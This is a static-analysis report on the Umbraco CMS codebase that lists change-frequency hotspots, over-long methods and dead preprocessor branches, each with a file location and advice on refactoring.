Hotspot: src/Umbraco.Core/Services/DocumentUrlService.cs src/Umbraco.Core/Services/DocumentUrlService.cs:906— src/Umbraco.Core/Services/DocumentUrlService.cs changed 2 times in last 90 days, max cyclomatic complexity 22 in DocumentUrlService.GetDocumentKeyByRoute at line 906. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Core/Services/DocumentUrlService.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/create-extension-element-with-api.function.ts src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/create-extension-element-with-api.function.ts:19— src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/create-extension-element-with-api.function.ts changed 2 times in last 90 days, max cyclomatic complexity 21 in createExtensionElementWithApi at line 19. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/create-extension-element-with-api.function.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: tests/Umbraco.Tests.AcceptanceTest/lib/builders/documentTypes/documentTypeBuilder.ts tests/Umbraco.Tests.AcceptanceTest/lib/builders/documentTypes/documentTypeBuilder.ts:150— tests/Umbraco.Tests.AcceptanceTest/lib/builders/documentTypes/documentTypeBuilder.ts changed 2 times in last 90 days, max cyclomatic complexity 21 in build at line 150. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/builders/documentTypes/documentTypeBuilder.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Core/Services/UserService.cs src/Umbraco.Core/Services/UserService.cs:847— src/Umbraco.Core/Services/UserService.cs changed 2 times in last 90 days, max cyclomatic complexity 21 in UserService.UpdateAsync at line 847. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Core/Services/UserService.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:990— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs changed 2 times in last 90 days, max cyclomatic complexity 19 in EntityRepository.GetBase at line 990. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Infrastructure/Runtime/CoreRuntime.cs src/Umbraco.Infrastructure/Runtime/CoreRuntime.cs:105— src/Umbraco.Infrastructure/Runtime/CoreRuntime.cs changed 2 times in last 90 days, max cyclomatic complexity 17 in CoreRuntime.StartAsync at line 105. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Infrastructure/Runtime/CoreRuntime.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-plain-css.function.ts src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-plain-css.function.ts:9— src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-plain-css.function.ts changed 2 times in last 90 days, max cyclomatic complexity 17 in loadManifestPlainCss at line 9. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-plain-css.function.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.Website/Middleware/BasicAuthenticationMiddleware.cs src/Umbraco.Web.Website/Middleware/BasicAuthenticationMiddleware.cs:67— src/Umbraco.Web.Website/Middleware/BasicAuthenticationMiddleware.cs changed 2 times in last 90 days, max cyclomatic complexity 17 in BasicAuthenticationMiddleware.InvokeAsync at line 67. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.Website/Middleware/BasicAuthenticationMiddleware.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
MethodTooLong: Utf8ToAsciiConverter.ToAscii src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:131— MethodTooLong — ToAscii runs 2131 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 2031 over it, 21.31× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: DatabaseDataCreator.CreateNodeDataForDataTypes src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:344— MethodTooLong — CreateNodeDataForDataTypes runs 614 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 514 over it, 6.14× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: DatabaseDataCreator.CreatePropertyTypeData src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1661— MethodTooLong — CreatePropertyTypeData runs 399 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 299 over it, 3.99× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: DatabaseDataCreator.CreateDataTypeData src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2222— MethodTooLong — CreateDataTypeData runs 380 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 280 over it, 3.80× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: BulkDataReader.AddSchemaTableRow src/Umbraco.Cms.Persistence.SqlServer/Services/BulkDataReader.cs:222— MethodTooLong — AddSchemaTableRow runs 309 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 209 over it, 3.09× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UmbracoBuilder.AddCoreServices src/Umbraco.Core/DependencyInjection/UmbracoBuilder.cs:159— MethodTooLong — AddCoreServices runs 231 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 131 over it, 2.31× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: PublishableContentServiceBase.CommitContentChangesInternal src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1401— MethodTooLong — CommitContentChangesInternal runs 177 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 77 over it, 1.77× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: ContentTypeRepositoryBase.PersistUpdatedBaseContentType src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:363— MethodTooLong — PersistUpdatedBaseContentType runs 170 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 70 over it, 1.70× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: ExpressionVisitorBase.VisitMethodCall src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:458— MethodTooLong — VisitMethodCall runs 151 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 51 over it, 1.51× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UmbContentDetailWorkspaceContextBase.constructor src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-base.ts:206— MethodTooLong — constructor runs 146 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 46 over it, 1.46× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UserOrCurrentUserControllerBase.UserOperationStatusResult src/Umbraco.Cms.Api.Management/Controllers/User/UserOrCurrentUserControllerBase.cs:14— MethodTooLong — UserOperationStatusResult runs 143 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 43 over it, 1.43× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UmbracoBuilderExtensions.AddCoreInitialServices src/Umbraco.Infrastructure/DependencyInjection/UmbracoBuilder.CoreServices.cs:80— MethodTooLong — AddCoreInitialServices runs 125 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 25 over it, 1.25× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UUIPopoverElement._updatePlacement src/Umbraco.Web.UI.Client/src/external/uui/uui-popover.element.ts:259— MethodTooLong — _updatePlacement runs 125 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 25 over it, 1.25× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UmbracoBuilderExtensions.AddCoreNotifications src/Umbraco.Infrastructure/DependencyInjection/UmbracoBuilder.CoreServices.cs:371— MethodTooLong — AddCoreNotifications runs 124 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 24 over it, 1.24× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: IconEditorElement.render src/Umbraco.Web.UI.Client/devops/icon-manager/icon-editor.element.ts:94— MethodTooLong — render runs 122 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 22 over it, 1.22× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: DatabaseDataCreator.CreateNodeDataForMediaTypes src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1039— MethodTooLong — CreateNodeDataForMediaTypes runs 120 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 20 over it, 1.20× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UmbInputMarkdownElement.#renderToolbar src/Umbraco.Web.UI.Client/src/packages/markdown-editor/components/input-markdown-editor/input-markdown.element.ts:493— MethodTooLong — #renderToolbar runs 116 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 16 over it, 1.16× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: ContentControllerBase.ContentPublishingOperationStatusResult src/Umbraco.Cms.Api.Management/Controllers/Content/ContentControllerBase.cs:125— MethodTooLong — ContentPublishingOperationStatusResult runs 112 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 12 over it, 1.12× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UserRepository.PerformGetReferencedDtos src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:464— MethodTooLong — PerformGetReferencedDtos runs 108 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 8 over it, 1.08× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: DocumentTypeControllerBase.ContentTypeOperationStatusResult src/Umbraco.Cms.Api.Management/Controllers/DocumentType/DocumentTypeControllerBase.cs:27— MethodTooLong — ContentTypeOperationStatusResult runs 106 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 6 over it, 1.06× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: DatabaseDataCreator.CreateUserGroup2PermissionData src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:210— MethodTooLong — CreateUserGroup2PermissionData runs 105 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 5 over it, 1.05× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: DatabaseDataCreator.CreateContentTypeData src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1230— MethodTooLong — CreateContentTypeData runs 105 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 5 over it, 1.05× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: UmbMemberWorkspaceViewMemberElement.#renderLeftColumn src/Umbraco.Web.UI.Client/src/packages/members/member/workspace/member/views/member/member-workspace-view-member.element.ts:172— MethodTooLong — #renderLeftColumn runs 105 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 5 over it, 1.05× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: NotificationService.CreateNotificationRequest src/Umbraco.Core/Services/NotificationService.cs:346— MethodTooLong — CreateNotificationRequest runs 104 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 4 over it, 1.04× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
MethodTooLong: PublishableContentServiceBase.StrategyCanPublish src/Umbraco.Core/Services/PublishableContentServiceBase.cs:2058— MethodTooLong — StrategyCanPublish runs 104 significant lines (blank, comment-only and punctuation-only lines excluded) in one body. The bar is 100 significant lines; this is 4 over it, 1.04× the bar. This is length, not branching: a long straight-line body scores low on complexity and is still read whole to change any part of it, so the complexity numbers beside this row neither confirm nor excuse it. To reduce it, extract each cohesive step of the body — the runs of statements that work on the same values and would earn the same name — into its own named unit, and have this one call them in order.
DeadPreprocessorBranch src/Umbraco.Core/Models/Entities/EntityBase.cs:14— #if DEBUG_MODEL — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Core/Models/Entities/EntityBase.cs:186— #if DEBUG_MODEL — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Core/Services/IdKeyMap.cs:92— #if POPULATE_FROM_DATABASE — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Core/Services/IdKeyMap.cs:191— #if POPULATE_FROM_DATABASE — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Core/Services/IdKeyMap.cs:378— #if POPULATE_FROM_DATABASE — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Persistence/DatabaseDebugHelper.cs:1— #if DEBUG_DATABASES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Persistence/UmbracoDatabase.cs:164— #if DEBUG_DATABASES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Persistence/UmbracoDatabase.cs:174— #if DEBUG_DATABASES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Persistence/UmbracoDatabase.cs:290— #if DEBUG_DATABASES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Persistence/UmbracoDatabase.cs:310— #if DEBUG_DATABASES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Persistence/UmbracoDatabase.cs:349— #if DEBUG_DATABASES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Persistence/UmbracoDatabase.cs:366— #if DEBUG_DATABASES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Scoping/IScopeProvider.cs:113— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Scoping/Scope.cs:75— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Scoping/Scope.cs:433— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
